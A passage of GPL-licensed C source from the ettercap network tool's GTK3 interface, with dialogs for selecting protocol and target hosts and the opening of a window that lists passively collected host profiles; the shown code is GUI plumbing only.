FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include /*******************************************/ /* the interface */ void gtkui_sniff_offline(void) { DEBUG_MSG("gtk_sniff_offline"); //gtkui_create_menu(0); /* offline menus */ } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_targets.c0000644000175000017500000005451313505247364022202 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* proto */ static void set_targets(void); static void gtkui_add_target1(void *); static void gtkui_add_target2(void *); static void add_target1(void); static void add_target2(void); static void gtkui_delete_targets(GtkWidget *widget, gpointer data); static void gtkui_targets_destroy(void); static void gtkui_targets_detach(GtkWidget *child); static void gtkui_targets_attach(void); /* globals */ static char thost[MAX_ASCII_ADDR_LEN]; GtkWidget *targets_window = NULL; GtkTreeSelection *selection1 = NULL; GtkTreeSelection *selection2 = NULL; GtkListStore *liststore1 = NULL; GtkListStore *liststore2 = NULL; /*******************************************/ void toggle_reverse(GSimpleAction *action, GVariant *value, gpointer data) { (void) data; g_simple_action_set_state(action, value); EC_GBL_OPTIONS->reversed ^= 1; } /* * wipe the targets struct setting both T1 and T2 to ANY/ANY/ANY */ void wipe_targets(GSimpleAction *action, GVariant *value, gpointer data) { (void) action; (void) value; (void) data; DEBUG_MSG("wipe_targets"); reset_display_filter(EC_GBL_TARGET1); reset_display_filter(EC_GBL_TARGET2); /* update the GTK liststores */ gtkui_create_targets_array(); /* display the message */ gtkui_message("TARGETS were reset to ANY/ANY/ANY"); } /* * display the protocol dialog */ void gtkui_select_protocol(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog, *content, *radio, *hbox, *frame; GSList *list = NULL; gint active = 1; enum {proto_udp, proto_tcp, proto_all}; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_select_protocol"); /* this will contain 'all', 'tcp' or 'udp' */ if (!EC_GBL_OPTIONS->proto) { SAFE_CALLOC(EC_GBL_OPTIONS->proto, 4, sizeof(char)); strncpy(EC_GBL_OPTIONS->proto, "all", 4); } /* create dialog for selecting the protocol */ dialog = gtk_dialog_new_with_buttons("Set protocol", GTK_WINDOW(window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT | GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_set_border_width(GTK_CONTAINER(content), 10); frame = gtk_frame_new("Select the protocol"); gtk_container_add(GTK_CONTAINER(content), frame); hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 10); gtk_container_add(GTK_CONTAINER(frame), hbox); radio = gtk_radio_button_new_with_mnemonic(NULL, "a_ll"); gtk_box_pack_start(GTK_BOX(hbox), radio, TRUE, TRUE, 5); if (!strncasecmp(EC_GBL_OPTIONS->proto, "all", 4)) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(radio), TRUE); radio = gtk_radio_button_new_with_mnemonic_from_widget(GTK_RADIO_BUTTON(radio), "_tcp"); gtk_box_pack_start(GTK_BOX(hbox), radio, TRUE, TRUE, 5); if (!strncasecmp(EC_GBL_OPTIONS->proto, "tcp", 4)) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(radio), TRUE); radio = gtk_radio_button_new_with_mnemonic_from_widget(GTK_RADIO_BUTTON(radio), "_udp"); gtk_box_pack_start(GTK_BOX(hbox), radio, TRUE, TRUE, 5); if (!strncasecmp(EC_GBL_OPTIONS->proto, "udp", 4)) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(radio), TRUE); gtk_widget_grab_focus(gtk_dialog_get_widget_for_response(GTK_DIALOG(dialog), GTK_RESPONSE_OK)); gtk_widget_show_all(dialog); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { list = gtk_radio_button_get_group(GTK_RADIO_BUTTON(radio)); for(active = 0; list != NULL; list = list->next) { if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(list->data))) { switch (active) { case proto_all: strncpy(EC_GBL_OPTIONS->proto, "all", 4); break; case proto_tcp: strncpy(EC_GBL_OPTIONS->proto, "tcp", 4); break; case proto_udp: strncpy(EC_GBL_OPTIONS->proto, "udp", 4); break; } } active++; } } gtk_widget_destroy(dialog); } /* * display the TARGET(s) dialog */ void gtkui_select_targets(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog, *label, *grid, *content; GtkWidget *frame1, *frame2; GtkWidget *t1_mac, *t1_ip, *t1_port, *t2_mac, *t2_ip, *t2_port; gint nrows = 3; #ifdef WITH_IPV6 GtkWidget *t1_ipv6, *t2_ipv6; nrows = 4; #endif #define TARGET_LEN ETH_ASCII_ADDR_LEN + 1 + \ IP_ASCII_ADDR_LEN + 1 + \ IP6_ASCII_ADDR_LEN + 1 + \ 5 + 1 (void) action; (void) value; (void) data; DEBUG_MSG("gtk_select_targets"); dialog = gtk_dialog_new_with_buttons("Enter Targets", GTK_WINDOW(window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT | GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_set_border_width(GTK_CONTAINER(content), 20); frame1 = gtk_frame_new("Target 1"); gtk_container_add(GTK_CONTAINER(content), frame1); gtk_widget_set_margin_bottom(frame1, 10); frame2 = gtk_frame_new("Target 2"); gtk_container_add(GTK_CONTAINER(content), frame2); gtk_widget_set_margin_bottom(frame2, 20); grid = gtk_grid_new(); gtk_grid_set_row_spacing(GTK_GRID(grid), 5); gtk_grid_set_column_spacing(GTK_GRID(grid), 5); gtk_container_set_border_width(GTK_CONTAINER (grid), 8); gtk_container_add(GTK_CONTAINER (frame1), grid); label = gtk_label_new("MAC:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP, 1, 1); t1_mac = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t1_mac), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t1_mac), MAX_ASCII_ADDR_LEN); gtk_grid_attach(GTK_GRID(grid), t1_mac, GTK_POS_LEFT+1, GTK_POS_TOP, 1, 1); label = gtk_label_new("IP address:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+1, 1, 1); t1_ip = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t1_ip), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t1_ip), MAX_ASCII_ADDR_LEN); gtk_grid_attach(GTK_GRID(grid), t1_ip, GTK_POS_LEFT+1, GTK_POS_TOP+1, 1, 1); #ifdef WITH_IPV6 label = gtk_label_new("IPv6 address:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+2, 1, 1); t1_ipv6 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t1_ipv6), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t1_ipv6), MAX_ASCII_ADDR_LEN); gtk_grid_attach(GTK_GRID(grid), t1_ipv6, GTK_POS_LEFT+1, GTK_POS_TOP+2, 1, 1); #endif label = gtk_label_new("Port:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+nrows, 1, 1); t1_port = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t1_port), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t1_port), MAX_ASCII_ADDR_LEN); gtk_grid_attach(GTK_GRID(grid), t1_port, GTK_POS_LEFT+1, GTK_POS_TOP+nrows, 1, 1); /* Fill previously set values */ if (EC_GBL_OPTIONS->target1) { gchar **tokens, **p; tokens = g_strsplit(EC_GBL_OPTIONS->target1, "/", nrows); p = tokens; /* MAC */ gtk_entry_set_text(GTK_ENTRY(t1_mac), *p++); /* IP address */ gtk_entry_set_text(GTK_ENTRY(t1_ip), *p++); #ifdef WITH_IPV6 /* IPv6 address */ gtk_entry_set_text(GTK_ENTRY(t1_ipv6), *p++); #endif /* Port */ gtk_entry_set_text(GTK_ENTRY(t1_port), *p); g_strfreev(tokens); } /* Target 2: */ grid = gtk_grid_new(); gtk_grid_set_row_spacing(GTK_GRID(grid), 5); gtk_grid_set_column_spacing(GTK_GRID(grid), 5); gtk_container_set_border_width(GTK_CONTAINER (grid), 8); gtk_container_add(GTK_CONTAINER (frame2), grid); label = gtk_label_new("MAC:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP, 1, 1); t2_mac = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t2_mac), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t2_mac), MAX_ASCII_ADDR_LEN); gtk_grid_attach(GTK_GRID(grid), t2_mac, GTK_POS_LEFT+1, GTK_POS_TOP, 1, 1); label = gtk_label_new("IP address:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+1, 1, 1); t2_ip = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t2_ip), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t2_ip), MAX_ASCII_ADDR_LEN); gtk_grid_attach(GTK_GRID(grid), t2_ip, GTK_POS_LEFT+1, GTK_POS_TOP+1, 1, 1); #ifdef WITH_IPV6 label = gtk_label_new("IPv6 address:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+2, 1, 1); t2_ipv6 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t2_ipv6), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t2_ipv6), MAX_ASCII_ADDR_LEN); gtk_grid_attach(GTK_GRID(grid), t2_ipv6, GTK_POS_LEFT+1, GTK_POS_TOP+2, 1, 1); #endif label = gtk_label_new("Port:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+nrows, 1, 1); t2_port = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t2_port), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t2_port), MAX_ASCII_ADDR_LEN); gtk_grid_attach(GTK_GRID(grid), t2_port, GTK_POS_LEFT+1, GTK_POS_TOP+nrows, 1, 1); /* Fill previously set values */ if (EC_GBL_OPTIONS->target2) { gchar **tokens, **p; tokens = g_strsplit(EC_GBL_OPTIONS->target2, "/", nrows); p = tokens; /* MAC */ gtk_entry_set_text(GTK_ENTRY(t2_mac), *p++); /* IP address */ gtk_entry_set_text(GTK_ENTRY(t2_ip), *p++); #ifdef WITH_IPV6 /* IPv6 address */ gtk_entry_set_text(GTK_ENTRY(t2_ipv6), *p++); #endif /* Port */ gtk_entry_set_text(GTK_ENTRY(t2_port), *p); g_strfreev(tokens); } gtk_widget_show_all(dialog); if (gtk_dialog_run (GTK_DIALOG (dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); SAFE_FREE(EC_GBL_OPTIONS->target1); SAFE_FREE(EC_GBL_OPTIONS->target2); SAFE_CALLOC(EC_GBL_OPTIONS->target1, TARGET_LEN, sizeof(char)); SAFE_CALLOC(EC_GBL_OPTIONS->target2, TARGET_LEN, sizeof(char)); #ifdef WITH_IPV6 snprintf(EC_GBL_OPTIONS->target1, TARGET_LEN, "%s/%s/%s/%s", gtk_entry_get_text(GTK_ENTRY(t1_mac)), gtk_entry_get_text(GTK_ENTRY(t1_ip)), gtk_entry_get_text(GTK_ENTRY(t1_ipv6)), gtk_entry_get_text(GTK_ENTRY(t1_port))); snprintf(EC_GBL_OPTIONS->target2, TARGET_LEN, "%s/%s/%s/%s", gtk_entry_get_text(GTK_ENTRY(t2_mac)), gtk_entry_get_text(GTK_ENTRY(t2_ip)), gtk_entry_get_text(GTK_ENTRY(t2_ipv6)), gtk_entry_get_text(GTK_ENTRY(t2_port))); #else snprintf(EC_GBL_OPTIONS->target1, TARGET_LEN, "%s/%s/%s", gtk_entry_get_text(GTK_ENTRY(t1_mac)), gtk_entry_get_text(GTK_ENTRY(t1_ip)), gtk_entry_get_text(GTK_ENTRY(t1_port))); snprintf(EC_GBL_OPTIONS->target2, TARGET_LEN, "%s/%s/%s", gtk_entry_get_text(GTK_ENTRY(t2_mac)), gtk_entry_get_text(GTK_ENTRY(t2_ip)), gtk_entry_get_text(GTK_ENTRY(t2_port))); #endif set_targets(); } gtk_widget_destroy(dialog); } /* * set the targets */ static void set_targets(void) { /* delete the previous filters */ reset_display_filter(EC_GBL_TARGET1); reset_display_filter(EC_GBL_TARGET2); /* free empty filters */ if (!strcmp(EC_GBL_OPTIONS->target1, "")) SAFE_FREE(EC_GBL_OPTIONS->target1); /* free empty filters */ if (!strcmp(EC_GBL_OPTIONS->target2, "")) SAFE_FREE(EC_GBL_OPTIONS->target2); /* compile the filters */ compile_display_filter(); /* if the 'current targets' window is displayed, refresh it */ if (targets_window) gtkui_current_targets(NULL, NULL, NULL); } /* * display the list of current targets */ void gtkui_current_targets(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *scrolled, *treeview, *vbox, *hbox, *button; GtkCellRenderer *renderer; GtkTreeViewColumn *column; static gint delete_targets1 = 1; static gint delete_targets2 = 2; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_current_targets"); /* prepare the liststores for the target lists */ gtkui_create_targets_array(); if(targets_window) { if(GTK_IS_WINDOW (targets_window)) gtk_window_present(GTK_WINDOW (targets_window)); else gtkui_page_present(targets_window); return; } targets_window = gtkui_page_new("Targets", >kui_targets_destroy, >kui_targets_detach); vbox= gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_container_add(GTK_CONTAINER (targets_window), vbox); gtk_widget_show(vbox); hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); gtk_box_pack_start(GTK_BOX(vbox), hbox, TRUE, TRUE, 0); gtk_widget_show(hbox); /* list one */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(hbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (liststore1)); gtk_container_add(GTK_CONTAINER (scrolled), treeview); gtk_widget_show(treeview); selection1 = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); gtk_tree_selection_set_mode (selection1, GTK_SELECTION_MULTIPLE); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Target 1", renderer, "text", 0, NULL); gtk_tree_view_column_set_sort_column_id (column, 0); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); /* list two */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(hbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (liststore2)); gtk_container_add(GTK_CONTAINER (scrolled), treeview); gtk_widget_show(treeview); selection2 = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); gtk_tree_selection_set_mode (selection2, GTK_SELECTION_MULTIPLE); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Target 2", renderer, "text", 0, NULL); gtk_tree_view_column_set_sort_column_id (column, 0); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); /* buttons */ hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); button = gtk_button_new_with_mnemonic("Delete"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_delete_targets), &delete_targets1); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("Add"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_add_target1), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("Delete"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_delete_targets), &delete_targets2); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("Add"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_add_target2), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show_all(hbox); gtk_widget_show(targets_window); } static void gtkui_targets_detach(GtkWidget *child) { targets_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (targets_window), "Current Targets"); gtk_window_set_default_size(GTK_WINDOW (targets_window), 400, 300); g_signal_connect (G_OBJECT (targets_window), "delete_event", G_CALLBACK (gtkui_targets_destroy), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(targets_window, gtkui_targets_attach); gtk_container_add(GTK_CONTAINER (targets_window), child); gtk_window_present(GTK_WINDOW (targets_window)); } static void gtkui_targets_attach(void) { gtkui_targets_destroy(); gtkui_current_targets(NULL, NULL, NULL); } static void gtkui_targets_destroy(void) { gtk_widget_destroy(targets_window); targets_window = NULL; } /* * create the array for the widget. * erase any previously alloc'd array */ void gtkui_create_targets_array(void) { GtkTreeIter iter; struct ip_list *il; char tmp[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("gtk_create_targets_array"); if(liststore1) gtk_list_store_clear(GTK_LIST_STORE (liststore1)); else liststore1 = gtk_list_store_new (2, G_TYPE_STRING, G_TYPE_POINTER); /* walk TARGET 1 */ LIST_FOREACH(il, &EC_GBL_TARGET1->ips, next) { /* enlarge the array */ gtk_list_store_append (liststore1, &iter); /* fill the element */ gtk_list_store_set (liststore1, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); } #ifdef WITH_IPV6 /* walk TARGET 1 - IPv6 */ LIST_FOREACH(il, &EC_GBL_TARGET1->ip6, next) { /* enlarge the array */ gtk_list_store_append (liststore1, &iter); /* fill the element */ gtk_list_store_set (liststore1, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); } #endif if(liststore2) gtk_list_store_clear(GTK_LIST_STORE (liststore2)); else liststore2 = gtk_list_store_new (2, G_TYPE_STRING, G_TYPE_POINTER); /* walk TARGET 2 */ LIST_FOREACH(il, &EC_GBL_TARGET2->ips, next) { /* enlarge the array */ gtk_list_store_append (liststore2, &iter); /* fill the element */ gtk_list_store_set (liststore2, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); } #ifdef WITH_IPV6 /* walk TARGET 2 - IPv6 */ LIST_FOREACH(il, &EC_GBL_TARGET2->ip6, next) { /* enlarge the array */ gtk_list_store_append (liststore2, &iter); /* fill the element */ gtk_list_store_set (liststore2, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); } #endif } /* * display the "add host" dialog */ static void gtkui_add_target1(void *entry) { /* variable not used */ (void) entry; DEBUG_MSG("gtk_add_target1"); gtkui_input("IP address :", thost, MAX_ASCII_ADDR_LEN, add_target1); } static void gtkui_add_target2(void *entry) { /* variable not used */ (void) entry; DEBUG_MSG("gtk_add_target2"); gtkui_input("IP address :", thost, MAX_ASCII_ADDR_LEN, add_target2); } static void add_target1(void) { struct ip_addr host; if (ip_addr_pton(thost, &host) != E_SUCCESS) { /* neither IPv4 nor IPv6 - inform user */ gtkui_message("Invalid ip address"); return; } add_ip_list(&host, EC_GBL_TARGET1); /* refresh the list */ gtkui_create_targets_array(); } static void add_target2(void) { struct ip_addr host; if (ip_addr_pton(thost, &host) != E_SUCCESS) { /* neither IPv4 nor IPv6 - inform user */ gtkui_message("Invalid ip address"); return; } add_ip_list(&host, EC_GBL_TARGET2); /* refresh the list */ gtkui_create_targets_array(); } static void gtkui_delete_targets(GtkWidget *widget, gpointer data) { GList *list = NULL; GtkTreeIter iter; GtkTreeModel *model; struct ip_list *il = NULL; gint *type = data; /* variable not used */ (void) widget; if (type == NULL) return; switch(*type) { case 1: DEBUG_MSG("gtkui_delete_target: list 1"); model = GTK_TREE_MODEL (liststore1); if(gtk_tree_selection_count_selected_rows(selection1) > 0) { list = gtk_tree_selection_get_selected_rows (selection1, &model); for(list = g_list_last(list); list; list = g_list_previous(list)) { gtk_tree_model_get_iter(model, &iter, list->data); gtk_tree_model_get (model, &iter, 1, &il, -1); /* remove the host from the list */ del_ip_list(&il->ip, EC_GBL_TARGET1); gtk_list_store_remove(GTK_LIST_STORE (liststore1), &iter); } } break; case 2: DEBUG_MSG("gtkui_delete_target: list 2"); model = GTK_TREE_MODEL (liststore2); if(gtk_tree_selection_count_selected_rows(selection2) > 0) { list = gtk_tree_selection_get_selected_rows (selection2, &model); for(list = g_list_last(list); list; list = g_list_previous(list)) { gtk_tree_model_get_iter(model, &iter, list->data); gtk_tree_model_get (model, &iter, 1, &il, -1); /* remove the host from the list */ del_ip_list(&il->ip, EC_GBL_TARGET2); gtk_list_store_remove(GTK_LIST_STORE (liststore2), &iter); } } break; } /* free the list of selections */ if(list) { g_list_free_full(list, (GDestroyNotify)gtk_tree_path_free); } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_view_profiles.c0000644000175000017500000005523013505247364023403 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include /* proto */ static void gtkui_profiles_detach(GtkWidget *child); static void gtkui_profiles_attach(void); static void gtkui_kill_profiles(void); static gboolean refresh_profiles(gpointer data); static void gtkui_profile_detail(void); static void gtkui_profile_detail_destroy(GtkWidget *widget, gpointer *data); static void gtkui_profiles_local(void); static void gtkui_profiles_remote(void); static void gtkui_profiles_convert(void); static void gtkui_profiles_dump(void *dummy); static void dump_profiles(void); static struct host_profile *gtkui_profile_selected(void); /* globals */ static char *logfile = NULL; static GtkWidget *profiles_window = NULL; static GtkWidget *treeview = NULL; static GtkTreeSelection *selection = NULL; static GtkListStore *ls_profiles = NULL; static guint profiles_idle; /* for removing the idle call */ static guint detail_timer = 0; /*******************************************/ /* * the auto-refreshing list of profiles */ void gtkui_show_profiles(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *scrolled, *vbox, *hbox, *button, *context_menu, *item; GtkCellRenderer *renderer; GtkTreeViewColumn *column; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_show_profiles"); /* if the object already exist, set the focus to it */ if(profiles_window) { if(GTK_IS_WINDOW (profiles_window)) gtk_window_present(GTK_WINDOW (profiles_window)); else gtkui_page_present(profiles_window); return; } profiles_window = gtkui_page_new("Profiles", >kui_kill_profiles, >kui_profiles_detach); vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_container_add(GTK_CONTAINER (profiles_window), vbox); gtk_widget_show(vbox); /* list */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); gtk_container_add(GTK_CONTAINER (scrolled), treeview); gtk_widget_show(treeview); selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); gtk_tree_selection_set_mode (selection, GTK_SELECTION_SINGLE); g_signal_connect (G_OBJECT (treeview), "row_activated", G_CALLBACK (gtkui_profile_detail), NULL); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes (" ", renderer, "text", 0, NULL); gtk_tree_view_column_set_sort_column_id (column, 0); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("IP Address", renderer, "text", 1, NULL); gtk_tree_view_column_set_sort_column_id (column, 1); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Hostname", renderer, "text", 2, NULL); gtk_tree_view_column_set_sort_column_id (column, 2); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); #ifdef HAVE_GEOIP renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Country", renderer, "text", 3, NULL); gtk_tree_view_column_set_sort_column_id (column, 3); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); #endif refresh_profiles(NULL); gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (ls_profiles)); hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); button = gtk_button_new_with_mnemonic("Purge _Local"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_profiles_local), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("Purge _Remote"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_profiles_remote), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show_all(hbox); button = gtk_button_new_with_mnemonic("_Convert to Host List"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_profiles_convert), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("_Dump to File"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_profiles_dump), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show_all(hbox); context_menu = gtk_menu_new(); item = gtk_menu_item_new_with_label("Profile Details"); gtk_menu_shell_append(GTK_MENU_SHELL(context_menu), item); g_signal_connect(G_OBJECT(item), "activate", G_CALLBACK(gtkui_profile_detail), NULL); gtk_widget_show(item); g_signal_connect(G_OBJECT(treeview), "button-press-event", G_CALLBACK(gtkui_context_menu), context_menu); /* refresh the stats window every 1000 ms */ /* GTK has a gtk_idle_add also but it calls too much and uses 100% cpu */ profiles_idle = g_timeout_add(1000, refresh_profiles, NULL); gtk_widget_show(profiles_window); } static void gtkui_profiles_detach(GtkWidget *child) { profiles_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (profiles_window), "Collected passive profiles"); gtk_window_set_default_size(GTK_WINDOW (profiles_window), 400, 300); g_signal_connect (G_OBJECT (profiles_window), "delete_event", G_CALLBACK (gtkui_kill_profiles), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(profiles_window, gtkui_profiles_attach); gtk_container_add(GTK_CONTAINER (profiles_window), child); gtk_window_present(GTK_WINDOW (profiles_window)); } static void gtkui_profiles_attach(void) { gtkui_kill_profiles(); gtkui_show_profiles(NULL, NULL, NULL); } static void gtkui_kill_profiles(void) { DEBUG_MSG("gtk_kill_profiles"); g_source_remove(profiles_idle); gtk_widget_destroy(profiles_window); profiles_window = NULL; } static gboolean refresh_profiles(gpointer data) { GtkTreeIter iter; GtkTreeModel *model; gboolean gotiter = FALSE; struct host_profile *hcurr, *hitem; struct open_port *o; struct active_user *u; char 